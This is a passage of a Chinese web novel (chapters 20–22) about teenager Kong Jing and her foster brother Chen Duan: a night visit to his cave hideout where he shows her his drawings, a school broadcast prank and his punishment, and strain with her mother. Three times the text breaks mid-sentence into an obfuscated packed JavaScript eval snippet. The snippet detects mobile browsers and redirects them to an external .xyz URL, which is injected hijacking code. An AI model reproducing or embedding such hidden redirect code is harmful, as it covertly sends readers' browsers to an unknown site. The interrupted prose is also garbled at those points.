陈端微微喘息着,不知过了多久,直到听到孔净的声音他还觉得鼻尖的香气和手臂间的触感还真实存在。 “真的有个洞!”孔净手电光柱照着旁边一处凹进去的挑石,挑石底下半人高的洞穴很干净,台子上甚至有一个中间陷下去的厚石板种着铜钱草。 “这就是你的秘密基地?”孔净不用陈端带路,自己先矮身钻了进去。 洞穴从外面看着不大,钻进去之后才发现里面四四方方居然有两三平米,不过高度不太够,孔净用蹲行的方式行进到最里边,觉得不方便干脆就席地坐了下来。 陈端也进来了,他没有犹豫,伸手扒开角落的干草堆从里面拖来一只灰色铝合金行李箱,在离孔净半米远的地方和她面对面坐着。 孔净用手电一扫,认出这只行李箱,“是你刚来的时候拎的那个。” 什么时候不见了他们居然都不知道,可见当时他们对陈端的关注有多不够。 “嗯。” 陈端并不觉得有什么,他看了眼孔净,慢慢抬手伸向行李箱扣袢。 孔净被这一眼看得一下紧张起来,身体先一步预料到陈端接下来将要向她袒露的是怎样的秘密。 “等下!”孔净忽然叫停,她说,“很久以前我就对这个石坑很好奇了,今天只是想下来看看到底长什么样……我的意思是,你如果觉得不方便,可以不——” “没关系。”陈端声音很轻,顿了顿,他定定看向孔净,“我想让你知道。” 闹不清缘由,在这个即将离开被孔净一家收留了六年的地方的夜晚,他被一股冲动驱使着,想把自己,剖给孔净看。 手电蓝白光柱照耀下,陈端的眼睛像是被蒙上了一层极薄的山雾,不似白天以一双裸||露黑眸示人时的清淡,这双眼在此时此刻莫名让人觉得孤零、无依。 孔净一下被击中,就像六年前的那晚,陈端被孔大勇第一次带回石厝,大家都睡了,陈端一个人孤零零地站在黑暗中,静默又无助地看向蚊帐内的孔净。 孔净鼓噪的心一下静了下来。 秘密压在心底太久会变成汪洋,守着秘密的人也就成了溺水的人。 也跟那晚一样,孔净愿意对陈端伸出一只手,无论结果是她会被陈端拖下水,还是她把陈端拉上岸。 “咔哒!” 行李箱扣袢开了。 手电光扫过,箱子里一半是摞成山的手绘画作,一半是消毒水、纱布、胶带…… 孔净心口猛地一跳,“你还一直跟人打架吗?” “没有,”陈端拿起一瓶消毒水把印有生产日期和有效日期的那面转向孔净,“以前的,没扔。” 孔净认真看过后点了点头,然后手电光对准旁边的手绘画。 A4、A5、B5……各种尺寸的都有,也不拘泥于绘画纸,很多是画在作业本、课本、甚至广告招贴背面。 孔净仅有的美术修养来自于小学课堂,上初中之后大多数美术课都被正科老师霸占,因此她其实并不懂得怎么去欣赏一幅画的好与坏。 但所有包括文学、绘画、电影在内的文艺作品,说到底都是表达人类思想和感情的载体,孔净虽然不能从技法层面去解析,却能最直接地用眼和心最直接地感受到这些画作带给她的视觉和情绪冲击。 又因为每张画的右下角都有落款日期,所以孔净能清晰知晓每一幅画具体完成于陈端几岁,以及当时的他处于哪个阶段。 “这些……是你刚来的时候画的?” 孔净把手电递给陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275087|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端,自己则两手小心捧起一叠画,脆薄的纸张发出易碎的声响,与画作里的断续线条和灰黑色调一样令人心惊。 “嗯。”陈端低头扫过,倒是有种事过境迁的抽离感,仿佛那个失去父母被陌生人领回家的8岁小孩只是另一个时空里的他。 孔净抿了下唇,“那天我要是真的不分一半床给你,你会怎样?” 陈端顿了顿才想起孔净说的是什么时候的事,他笑了下,“不怎样,屋里那么大,站着坐着都行,或者躺地上,又不是没睡过。” “你睡过……地上?”孔净心里一阵难受,她知道上初中之后特别是初二暑假前后那段时间,陈端经常在网吧过夜的确吃了不少苦,但是她没想到陈端在被孔大勇领回来之前也过得并不安稳。 明明,他来的时候穿着打勾的运动鞋,漂亮干净得像是儿童服装品牌重金请来的模特。 “不止是地上,还是车站、火车厢和酒楼的地上。”陈端很久没触碰过这段回忆了,时间太过久远,以至于再回想时脑子里的场景蒙上了一层淡黄失焦的滤镜。 拥挤晃动的人群、嘈杂的来自四周的听不懂的各地方言,以及走在前面一手紧紧攥住他的手,另一手还要费力拖拽行李的女人。 女人身影纤长像一根随时会折断的荷茎,但是她坚定地牵着他的手穿过壅塞发臭的车厢、走过黑暗碎酒瓶满地的巷道……如果见他走不动或者犯困了,还会停下来温柔抱住他,在耳边轻声告诉他:“小端乖,小端别怕,妈妈抱着小端呢。” 画面缓慢闪过,像一部卡了磁带的旧时短剧,陈端低垂着眉眼,表情仍旧是淡淡的,他并不善于表现自己的脆弱。 却察觉后脑勺被抚过,一下一下,纤细手指穿过短发,温热指节似有若无贴着他的皮肤。 陈端一顿,转过脸,狭窄寂静的山洞里,微弱光照下,身旁的女孩睁着一双笑眼近距离看着他,“没事啊,过去的都过去了,以后大不了如果你再没地方睡,我就把床让给你——是整张哦。” 孔净其实也不太确定,她不经常安慰人,因为唯一的好友阿禾性格大大咧咧,如果难过了只要请她喝一杯奶茶或者许诺长大以后请她去看明星演唱会,她就会嘟嘟囔囔,大“吼”一声之后立马笑逐颜开。 她姿势显得笨拙,又加上陈端比她高很多,要整个上半身都挺直,高举手臂才能完成捋毛的动作。 却眼见着陈端比她更呆滞,像是被点了穴位一样。 ……果然,男生和女生还是不太一样。 陈端跟其他男生相比又更不一样,赵兰兰喜欢看的偶像剧都是骗人的。 孔净“哈哈”干笑两声,收回手。 她没注意到,手电灯照着两人的影子,高出一头不止的那个刚才分明朝矮的那个轻轻歪了歪头。 “这个,是你妈妈吗?” 孔净指着其中一幅画作上穿红色连衣长裙的美丽背影问道。 虽然陈端没明说,但是孔净直觉是这样,因为相比于周遭杂乱弯折的线条,这个背影用笔很温柔。 陈端喉结轻滚一下,目光落向孔净手指的地方,“嗯。” 有个问题盘旋在孔净心里很久,今晚终于有机会问出口,“……你妈妈、去哪里了?” “……死了。” 陈端声音淡淡的,听不出哀伤的成分,可他从孔净手中抽走那幅画的时候动作很轻。 “对不起,我不知道……” “没事。” 孔净沉默着,心里却翻起惊涛骇浪,原来,原来真实的故事版本并不是像孔大勇说的那样,陈端的父母并不是杳无音信。 “那、你爸爸呢?” “也死了。” 陈端的语气陡然生出锋刃。 气氛一下冷凝,外面传来“咕咕”的鸟鸣声,很空旷,有回响。 顿了顿,孔净忽然侧过身,张开双臂抱住陈端。 不像刚才从最后一级台阶跳下来被陈端接住后转瞬就推开,这个拥抱持续的时间很久,也很结实,不留任何缝隙。 孔净两只胳膊绕过陈端的肩膀,双手在他颈后交叉,一只手掌按着他的后脑勺将他的脑袋压向自己的右肩,另一只手掌拍抚着他的后背。 孔净知道语言有时候很苍白,现在无论说什么陈端的父母都不可能起死回生,但是她很想安慰陈端,既然刚才捋毛不奏效,那就拥抱好了。 拥抱是所有动物包括人类在内表达亲昵和友善的最直接的方式。而且,杂志上说拥抱可以使人分泌诸如催产素、多巴胺之类的激素,这些激素具有减轻焦虑、提高情绪等等奇妙疗效。* 从第三视角上看,陈端就像动漫里肢体僵硬被小两号的人类强行抱住的巨型狼犬,孔净甚至都能感觉到他后背一瞬间僵成了钢板。 而且钢板摸起来烫手。 ……所以,这样也没有用吗? 孔净讪讪的。 但就在她身体往后退即将拉开两人之间的距离时,陈端的身体突然很有实感地压向她。 比不留缝隙的程度还要紧,他抱着孔净,像是在海里游荡已久的人在溺水之前终于抱住一块浮木,急切又贪婪。 “这样,很好。”陈端的下巴整个垫在孔净的右肩上,声音比之前还要有颗粒感,甚至称得上磁性低哑,是很近很近的距离轻易穿过孔净散落在侧的发丝,直抵耳际。 这下换孔净有点呆了。 她没有和人这样亲密接触过,有记忆以来就算是孔大勇和李贤梅也没有这样抱过她。 两具身体相贴,手臂互相交缠,体温逐渐趋同。 孔净暗自调整呼吸,几下之后,接上刚才的节奏拍抚陈端的后背。 “有好点吗?”她轻声问。 过了好几秒,才又听到耳边传来一道低低的,“嗯。” 孔净无声微笑,轻拍陈端后背的动作一直没停。 不知道过了多久,久到孔净觉得自己仰起的脖子和挺直的腰背开始泛酸,手腕也有些乏力。 “额,好像很晚了,是不是该回去了……?”她小小声提议,想说自己并不是不想继续安慰陈端,只是下次可以换个宽敞点的空间。 “……嗯。” 陈端的声音比孔净的还要小,他很慢很慢地直起身体,慢到让孔净怀疑他们好像是长在一起的藕节,分开不仅会令一方感到疼痛,而且还粘连着看不见的藕丝。 更让孔净不解的是陈端直起身的同时也把脸偏向了一边,紧接着他就开始垂着眼睛收拾东西,直到他把行李箱送出洞口,准备要离开时,都没有再正面和孔净对视过一眼。 孔净尴尬地想,就说陈端这么淡漠的人,肯定不喜欢和人有肢体接触嘛。 好不容易表示一下姐弟情谊,居然让他这么不适应。 回去的路上,孔净有意打破沉默,好让两人之间的氛围快点回到平常。 “我前天看到一首诗,觉得很美,念给你听好不好? “每天你与宇宙的光一同游戏。 ……为了你,我建造了一连串的快乐, 它们像野生的山谷一样蔓延。 ……”* 女孩清透的嗓音在午夜的森林响起,她念到兴起处转过身倒退着走在前面,手中的电筒光柱和眼里的光亮都透澈地投向一个方向。 少年跟着光,紧随其后。 月色浪漫,拥抱绵长,在孔净看来那个安慰性质的拥抱已经结束,可是陈端为什么会觉得他还被孔净抱着? 他的身体、他的灵魂,甚至能清晰捕捉到孔净的每一次呼吸,每一个心跳。 这感觉让他心惊肉跳,甚至不敢直视孔净。 21. 第 21 章 “每天你与宇宙的光一同游戏。 敏锐的访客,在花与水之间来临 ……” 又是一年夏天,周五下午全校集体大扫除,为即将到来的高考布置考场。 校园广播放送过一段前奏音乐之后,响起广播员清甜饱满的声音。 “…… 多少次我们看燃烧的晨星亲吻我们双眼, 在我们头上霞光如折扇般展开。 我的词句如雨水淋湿你…… ……我想要对你做 夏天对凤凰木做的事情。”* 尽管清安高中校风开放,读到最后一句,坐在封闭的广播室里,仿佛还是能听到从各个教室瞬间爆发的哄闹和尖叫声。 “……夏天又到了,一首聂鲁达的小诗送给大家,怡情的同时帮助大家放松心境。长风破浪会有时,直挂云帆济沧海,预祝所有高三的学姐学长高考顺利,金榜题名。最后,温馨提醒大扫除结束之后希望大家安全归家,不要在外逗留,我们下期再见。” 孔净念完最后一句,轻轻关掉麦克风,同时将背景音乐调大,然后才吁出一口长气,抬手拍拍脸。 弯腰去捡散落在地上的稿件,手肘碰到旁边的椅子,穿蓝白校服的少年后腰倚着椅背,手上的铅笔在素描本上停顿了好一会儿,最新落笔的那处石墨痕迹尤其深,像是被刚才刚才的诗带偏了思绪。 “怎么会想到播这首?”他问。 “因为孟——” “咚咚!” 听到敲门声,孔净一个哆嗦,“快快快,主任来了……” 孔净把陈端从椅子上拽起来,人仰马翻之际,门一下被人从外面推开,“孔净!果然是你!好勇!!” 林语珂显然是跑过来的,胸口起伏不定,张大嘴巴满脸惊诧又兴奋。 看见屋子里还有另一个人,她眉心一跳,下意识抬手去捋跑乱了的斜刘海。 “吓死……”孔净悬起的心回落一半,但还是担惊受怕,赶紧过来把门关严实了。 林语珂没走近,就倚在书架边,“放心啦,我上来时专门瞄了一眼,主任在办公室训人,根本没空管刚才的广播。” 孔净心有余悸,七手八脚把稿件往书包里塞,“你怎么找到这里来了?是大扫除……” “不是啦。”林语珂脸对着孔净,但余光一直不自觉往别的方向瞟,“是孟学长找你!” 陈端本打算出去等,听到这句冷淡视线从说话人脸上掠过,林语珂又抬手拨了下刘海。 孔净加快速度收书包,“他在哪?” “教室外面,”林语珂很好奇,语不惊人死不休,“孟学长是在追你吗?” “啊?”孔净摆手,“没有啦。” “但你不是说这首诗就是他让你帮忙用广播念的。”林语珂追着问。 “念诗是念诗,跟他追我有什么关系。”孔净转过头,跟陈端说,“要不你去外面等我,我把卫生收拾下再出去。” 陈端站着没动,继续听下文。 林语珂说:“可是他不会专门来教室找我啊!照理说快高考了,他应该在家好好复习才对。” “那是因为我有事拜托他啊。”孔净想快点离开,奈何林语珂一直聊孟书宇,而且陈端视线一直落在自己脸上,她心烦意乱,以为沾了脏东西,一边抹一边说,“我跟孟学长真的只是普通学长和学妹!平时没多少交集,谈不上什么追不追和喜欢不喜欢!” “好啦,你别妨碍我打扫卫生。”广播室就这么大,陈端又长得高,往那儿一站,好像半个空间都被他占据,孔净把他推出去。 林语珂看见陈端单手把孔净的书包搭在一边肩膀上,门开了,下午的阳光照在他身上,颀长身影被勾勒出柔色毛边,但他本人气质又矜冷,两种矛盾元素在他身上猛烈撞击,教人移不开眼。 孔净用鸡毛掸子快速扫过桌子和书架,一转头看见林语珂对着已经闭合的门板出神,不禁笑说,“你干嘛每次见到陈端都这样。” 林语珂一愣,不好意思地吐吐舌,“因为他真的长得……” “很帅。”因为听多了大家对陈端外表的描述,孔净不用过脑,直接帮林语珂补全后面的话。 陈端一走,林语珂终于放松了,她不免旧事重提,“你们真的是姐弟吗?” 在她看来,陈端是端方俊美的长相,孔净的话如果挡住这双略有攻击性的猫咪眼,给人的感觉是清新甜氧。不过孔净一贯的表情是带笑的,猫咪眼眯起来,所谓的攻击性也全被亲和抵消了。 一个长相俊美性格冷淡,一个外表甜美性格亲和,两厢对比,南辕北辙,哪里像姐弟了。 “额,遗传基因有自己的想法。”关于陈端的身世说起来太复杂,再说也没必要逢人就一五一十全盘托出,孔净囫囵带过。 “是基因彩票才对吧。”林语珂见过一次孔大勇,心说当时要不是孔净先冲着那个跨坐在路边摩托车上剔牙的红皮大汉叫了声爸,她绝对挠破脑袋也想不出他会和孔净陈端是一家。 “差不多了,还要回教室看看需不需要帮忙,走啦!” 孔净放下鸡毛掸子,先开门出去。 “等下……”林语珂跟在后面,从打开的门缝看见走廊上的少年,动作一顿。 刚才在广播室里有空调,出去之后陈端把校服外套脱了,同孔净的书包一起单手拎着反搭在右边肩膀上,左边手肘也垫在栏杆上,从肩骨蛮横蔓延到手腕上的淡咖色伤痕无遮无拦,同他冷白的皮肤一起暴露在橘光夕照里。 陈端左手臂上有条伤疤,在清安高中不是秘密。 刚开始很多女生觉得惋惜,认为这疤使白壁生瑕,简直罪大恶极。 但后来见过陈端穿迷彩服撑着手臂在公共洗手台前洗脸的样子,额前黑发被冷水浸湿,水珠在他少年感未退的英朗侧脸勾勒柔光弧线,镜头下拉,却是一条因撑在水槽边缘而连带着伤疤和青筋都隐隐凸起的劲长手臂,完完全全的暴烈美学。 于是有些有审美怪癖的人甚至声称,那条形似囚锁的伤疤意同维纳斯的断臂,因迷人的伤残更加引人遐想。 林语珂承认,以陈端绝佳的长相和温冷的气质,使得手臂上触目惊心的疤痕也成了某种点缀。 但是无论外表如何具有迷惑性,林语珂身为孔净的现任同桌也算和陈端认识,她隐隐觉得安静柔和只是陈端给人的假象,扒掉这层皮,内里也许是另一番极致反差。 不好惹。 但,“不是啊,我弟很乖的啦。”——这是孔净时常挂在嘴边的话。 林语珂就:“……” 就在林语珂愣神的一瞬,走廊上刚才还眉宇清冷的人忽然抬眼对着这边笑了下,林语珂当然不会自恋到以为陈端是在对自己笑,但是她抬手抓抓脸强行唤回差点被勾走的神思,“……居然笑起来有酒窝。” 紧接着她就看见孔净走到陈端面前抬手要去拿自己的书包,陈端站直,右边肩膀往上一抬,让孔净扑了个空。 “长得高了不起哦。”孔净侧身朝他撞去。 其实孔净没用什么力道,但是为了配合达到她想要的效果,陈端就摇晃着往另一侧歪了下。 “哈!”孔净果然笑出声。 “走了。”陈端另一手插兜,不经意一笑,迈开长腿走在前面。 “慢点。”孔净叫他。 陈端就真的慢下来,等孔净跟上来了,两人一起并肩往楼梯间那边走去。 林语珂刚想叫孔净等等自己,低头看见自己手上居然拿着一本广播室的书,想还回去,一转头就看见走廊那边气势汹汹走来一个圆肚矮胖的地中海男人。 “孔孔、孔净!”林语珂瞬间汗毛倒立,“……教导主任来了!!!” 她逃跑的姿势太明显,主任阅人无数,从背影就判断出她有事。 “站住!前面拿一本红色封皮书那个!我叫你站住!!” 孔净在三楼就听见林语珂的声音,转过身往上跑一截,赶紧伸手接住从高两级台阶飞扑下来的人。 林语珂两边手肘被孔净托住,手里的书也掉了,脸皱成苦瓜样:“我的脚……好痛!” “扭到了?”孔净手忙脚乱。 “叫你站住听见没有!我知道你是谁!”头顶上方,教导主任中气十足的冷喝也响了起来。 孔净和林语珂同时身体一抖。 “你先走。” 站在矮两级台阶上一直没做声的陈端忽然开口。 听到他说的是“你先走”,而不是“你们先走”,林语珂默默:“……” 孔净:“可是……” 陈端语气和姿态都很放松,不待教导主任下来,他先挡在孔净面前主动迎了上去。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296542|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先先躲一下。”没管挨着楼梯间的教室是几年级几班,孔净扶着林语珂赶紧从后门溜进去。 紧接着就听见外面传来教导主任粗冷声线,“你挡着我干什么?!” 陈端还是一手插兜一手拎书包的姿势,站在矮三级的台阶上,从视觉上看着和大肚便便的教导主任差不多高。 “皮痒就去蹭树!想喝茶自己滚去办公室!”教导主任气急败坏,因为他往左一步,陈端也往左,他往右,陈端也往右,要说不是故意的简直有鬼。 “如果是刚才广播的事,您找我就行,跟其他人没关系。” 陈端说话很有礼貌,奈何行为乖张得过分。 主任气得七窍生烟,“你当我傻?!刚才广播里的声音是男的?” 陈端语气诚恳:“或许您不知道有变声器这种东西。” 主任:“……给我滚下去!先跑五千米再用变声器播给我播一遍!!” 孔净躲在教室里听得头皮发麻,确定主任押着陈端走远之后,她才扶林语珂下楼。 孔净想说去医务室看看比较稳妥,林语珂不肯,“你送我去外面站牌坐公交车就好。” 这样一来,等孔净带林语珂去教室收东西,然后把人送去校门外,再转去操场,已经是半小时后的事了。 中途也只是简单跟孟书宇交涉几句。 夏天日落时间晚,建在教学楼前面的塑胶操场还浸润在柠檬色光线里,陈端一个人绕圈跑,校服后襟顺着脊骨往下那部分面料因为被汗水打湿颜色要比周围的要深一些。 他倒是不怎么喘,长手长脚匀速跑着,像是把惩罚当成了日常锻炼。 教学楼里那些原本忙着做完扫除就回家的人聚集在走廊上,多数是女生,三五成群,窃窃私语着,打闹着,有时还会爆发出一声“我才不是在看他!” 教导主任让人端了把椅子来,就坐在操场边的一棵大榕树下,双手抱臂垫在凸出的圆肚子上,粗短的腰身挺得板正,俨然要监督到底的铁面无私模样。 “……” 孔净整理了下表情,走近,“主任您好,我是高二(7)班的——” “孔净啊,不用介绍,我知道你。”主任对这位从入学开始就稳居光荣榜的好学生很有印象,“今年高考完,明年就轮到你们这届了,好好努力,到时候风光办一场升学宴,老师也来借光喝一杯。” “谢谢老师,我会努力的。”孔净笑起来很甜,气质干净,完全契合师长和同学心目中的三好学生形象。 主任面对好学生也有了笑模样,虽然看起来还是很凶,但语气很和善,“找老师有什么事?学习、生活遇到困难都可以说。” “……没有遇到困难,其实老师,”孔净目光悄摸往操场那边瞟了瞟,想说她是来自首的,却发现本该继续绕圈跑的人突然停了下来,正横穿过操场往这边走来。 主任一下从椅子上站起来,“谁让你停下来的?!还有两千米!你想干什么?” 陈端像是没听见,汗水覆满前额,顺着鼻梁滑落,他撩起衣角擦了一下。 一截劲瘦而结实的腰忽然暴露在夕阳余晖里,两边腰线在髂骨处收窄,因为刚刚剧烈运动过肌肉紧绷,几块腹肌卡在下装松紧带上。 几秒后,教学楼那边传来此起彼伏的尖叫声,比之前听见广播里念情诗还要激烈百倍。 主任脸色铁青,大步朝始作俑者走去。 孔净拔腿跟在后面,“其实老师,不关陈端的——唔!” 她话没说完,迎面朝他们走来的陈端忽然戏剧性地脱掉校服上衣,被锁链式疤痕缠覆的左手臂随意一扬,白色校服在半空中划过一道弧线之后,精准兜在孔净头上。 下一秒,教学楼那边爆发的尖叫声像是要掀翻屋顶,主任气沉丹田:“陈——端!!!” 当孔净扒掉砸套在头脸上的衣服,看见的就是主任挺着大圆肚子追着裸着上半身的陈端满操场跑的场景。 教学楼走廊上传来欢呼、呐喊、尖叫,狂热程度堪比阿禾描述的巨星见面会现场。 相比于陈端此刻绝无仅有的反叛挑衅行为,一个多小时前的广播站插曲已经变成小巫见大巫。 恐怕主任被遛着跑过几圈操场后,也根本记不起那件事了。 “……” 孔净把陈端的衣服折了折,垫在旁边台阶上坐着看。 22. 第 22 章 这场校园闹剧兼狂欢以陈端被喊去办公室写完三千字检讨,并且勒令在假期结束之后的第一次升旗仪式上当着全校师生宣读作为落幕。 时间很晚了,高考前夕全校放假,整个学校静悄悄的,教学楼里只有几间教师办公室间或亮着灯。 孔净等陈端从办公室出来,“不累哦?” “还行。” 陈端汗湿的头发和T恤已经干了,整个人看上去清爽熠熠生辉,哪里像是绕着操场跑了一万米的人。 取了车之后,一起去校门对面的餐馆吃东西。 这边的石材厂区和清安高中一样都坐落在镇上,两者距离挺近,骑车只要十来分钟。 趁着陈端去放车,孔净猫腰躲在柱子后面朝灯火通明的厂房那边看去,李贤梅正拿着卷尺和写字板验收工人们刚刚磨好的板材。 她转头朝陈端示意一下,然后提起一口气,飞快从挨着柱子的楼梯跑上去。 嘉福石材厂的住宿条件相比以前那间石厝要好一些。 正对厂门口的二楼,紧临开放式走廊的两间房是他们的卧室,孔大勇和李贤梅一间,孔净和陈端一间。 李贤梅本来不同意,“再过几年就都成年了,又不是亲的,挤在一间屋里像什么样!” 但是因为陈端主动说住校,只有放假的时候才回来,孔大勇无比心疼陈端,嫌李贤梅整天掰扯这些有的没的让所有人都不痛快,他直接让工人搬了两张单人床进去,两张床之间帘子一拉算做隔断,也就这么将就着住了。 孔净和陈端的房间挨着楼梯间,门没锁,直接推门进去。 两张单人床并排放置,一张挨着门,另一张挨着窗,两张床对面靠墙有一张挺长的书桌,桌子也是一人一半,左边放陈端的东西,右边放孔净的,黑白灰色调和红黄亮色系很好区分。 陈端经常不在,孔净一个人待着待着那些原本属于她的比如相框、小公仔、发圈之类的东西,不知怎么就跑去了陈端那边。 陈端进来时,孔净正站在桌前把散落在他那边的小物件往自己这边扒拉。 听见声响,孔净回头,“……笑什么。” “没。”陈端把两人的书包放桌上,随手拿起孔净的一个发圈绕在指尖,“梅姨要上来了。” “啊?那你先去洗澡!你冲凉水,我要烧热水。快点快点!” 陈端知道她是什么意思,犟不过,拖出放在床底下的箱子随手拿了毛巾和换洗的衣服,就被强行推了出去。 等陈端顶着湿漉漉的黑发再回来时,孔净已经以一己之力承受过一轮李贤梅的言语轰炸。 并且旁边房间的门已经关上,李贤梅和孔大勇都睡了,看样子今晚的危机暂时解除了。 孔净还是笑眯眯的,李贤梅说的话虽然难听,她只要不真的往心里去就好了。 她提着热水去楼下公共卫生间,半个小时后回来,帘子半拉,她坐在靠窗的单人床上用吹风机吹头发。 因为房间不大,所以两张床之间只隔着五十公分左右的距离,陈端穿一身黑色衣裤把枕头竖起来,靠在床头继续完成下午在广播室里没完成的素描。 电吹风“嗡嗡”运转,他有时会抬眼,目光擦过帘子边缘朝这边看一眼。 孔净穿着米白色绵绸短袖短裤,裤衫偏大,她又骨架偏小,盘腿坐在床上及腰的黑发散开再被吹起,很耐看。 “今天孟书宇找你干什么?”陈端忽然问。 “啊?哦,托他帮我找了个暑期家教,给下学期升初中的小孩补课。”孔净看他微微皱了下眉,笑说,“放假之后你可以往网吧跑,我在家时间待长了,妈的脾气你也知道……反正闲着也是闲着,从下个月放假到八月份我们自己开始补课,差不多有一个多月的空闲……啊,说到这个,下学期就高三了,这个暑假学校肯定要组织补课,你去吗?” 孔净关了吹风,歪头用手捋着还有些湿润的发梢。 “不去。” 陈端视线落在孔净穿过黑发的细白手指上。 孔净点头,意料之中的回答。 高二文理分科他们选的都是理科,但他们都清楚实际上孔净更喜欢文科,而陈端比起正儿八经靠成绩去拼所谓的好大学,他其实更适合艺术院校。 可随着他们越来越大,孔大勇念叨“等你们以后把书读出来了赚了大钱,我和你妈妈就回老家修别墅享清福”的频率也越来越高。 生长环境所致,孔净和陈端在某种意义上都是早熟的人,就算孔大勇不念叨,他们也早早认清现实,知道应该选理科,将来好就业。 而陈端又比孔净更现实也更游刃有余一些。他的成绩虽然不够上光荣榜,但是一直保持在年级一百名左右。 当然这并不是因为他不够聪明和努力,而是他除了学习,大部分时间都用在诸如游戏代打之类的事情上了。 陈端需要钱,很需要。 孔大勇只是牛皮吹得响,家里的经济大权实际都掌握在李贤梅手里。 仍和他们上初中那会儿差不多,李贤梅明着不会缺陈端的学费,但是生活费时断时续。 陈端性格看似温淡,实际冷冽,宁折不弯,他不接受孔净的救济,更别说低声下气去找李贤梅讨钱。 孔净一时没说话,葱白细长的手指在浓密的发丝中穿行。 陈端目光随着她手指不断游移。 没过几秒,他反应过来,转过脸,长睫在下眼睑投落两片淡灰阴影,也盖住了眼底丝丝缕缕往外飘涌的东西。 没有预兆地,他伸长手臂,腕骨在墙上开关上一按。 孔净猝不及防,“干嘛关灯!我东西还没放……” “困了。” 乍然从光亮换成黑暗,视觉上会短暂地看不见,而听觉又更灵敏一些。 在此刻这种伸手不见五指的浓黑环境里,孔净觉得陈端的声音听起来有一点哑和沉。 “你洗凉水感冒了?”孔净摸黑把吹风机放到对面的书桌上,然后躺回床板。 “……没。” “哦。” 孔净抬手挪了挪枕头,换了几个姿势都觉得不舒服。 她坐起来,“你开下灯,我要找个发圈,头发散在脖子上像戴了个围脖,好热啊。” 旁边床板“咯吱”响了一声,但灯没亮。 陈端翻了个身,说:“我这有。” “什么?” “发圈。” “谁的?”说话间,孔净已经重新躺下了。 右手抬起来,指尖越过作为隔挡的帘子,在黑暗中朝那边伸去。 陈端发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300488|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一道气音,很细微,像是被孔净这个问题蠢到。 “还能是谁的。” 孔净笑了下,“不是啊,我是说我的发圈怎么在你那里。” “不知道。”陈端这句有些无赖。 孔净手指在半空中游移一圈摸了个空,正想让他快点把东西拿来,食指指腹忽然触到一条温热的凸起。 是陈端左手臂上的伤痕。 这伤痕在白天看是锁链和藤蔓状,黑暗中摸起来更像是蔓延交错的峰脊。 血管在底下跳动,以致于孔净手触过的痕迹也像是活的。 “还痛吗?”孔净指腹在他手臂上缓慢移动,她想到那年的台风天。 过了好几秒,才听见陈端说:“不痛。” “你那时也是这样说的。无论什么时候,你都说不痛。”孔净无声笑了下,指尖一下滑到他的腕骨,然后顺着他的手背往下,勾到被他松松套在两根指节上的发圈。 孔净扯了一下,发现陈端并未松开,两根长指勾着发圈另一边,孔净又扯了一下,“给不给?” 孔净的指背不可避免地再一次在黑暗中擦过陈端的,陈端闭着眼睛感觉两根手指像被羽毛撩过,又或许是温柔的火苗,否则那处皮肤怎么会又痒又烧,深到皮下层和骨头缝里。 在孔净提高音量连名带姓喊他陈端的时候,他才抽出两指。 等这届高考结束,孔净和陈端再回到学校,很快就迎来了学期末。 就像孔净预料的那样,才刚放假没几天,李贤梅看她的眼神就越来越不耐烦。 不是嫌她菜炒咸了,就是说她衣服没洗干净,有时实在找不到由头,就只是皱眉看着她,无声无息地一直看着她。 孔净背对着,不由得连呼吸都放轻了,顿了顿,转头笑问,“妈你要喝水吗?我——” “你倒的水我敢喝吗?”李贤梅看孔净就像看下不去手的仇人,“其实你不是我生的对不对?你不是我女儿,我也不是你妈。你爸说的没错,你和陈端就是亲姐弟,你们上辈子就认识了,这辈子找机会借不同人的肚子来到这个世界上,费尽心思再组成一家!我对你来说就是个工具,是不是?” 近几年,李贤梅变得越来越偏执,这套言论刚开始只是说说,后来慢慢变得深信不疑,她不听解释,不接受辩白,也不管孔净其实比从前还要乖顺。 只要陈端还在这个家待一天,只要孔净还和陈端走得近,她就顺着自己亲手打造出来的死胡同越走越深。 孔净张了张嘴,什么话也说不出来,苦涩从胸口一直漫溢到嗓子眼。 她无法向李贤梅表述清楚,就算是一条狗,养了九年也该有感情了,更何况是一个人。 她和陈端一起吃住,一起上学,陪伴彼此长大已经九年。 最开始孔净也是不愿意的,可是孔大勇把陈端带回来,告诉她,这是弟弟。九年过去,感情这东西根本不受人控制,亲情也不需要血缘作为媒介,已经无声无息在她和陈端之间生发。 对孔净来说,陈端和李贤梅、孔大勇一样,都是她的家人。 没办法,离家教上岗还有几天,孔净在家待不下去,提前给李贤梅和孔大勇做好饭后,顶着夏日艳阳骑车去网吧找陈端。 路上,默默调整情绪,任谁也看不出异常。 23. 第 23 章 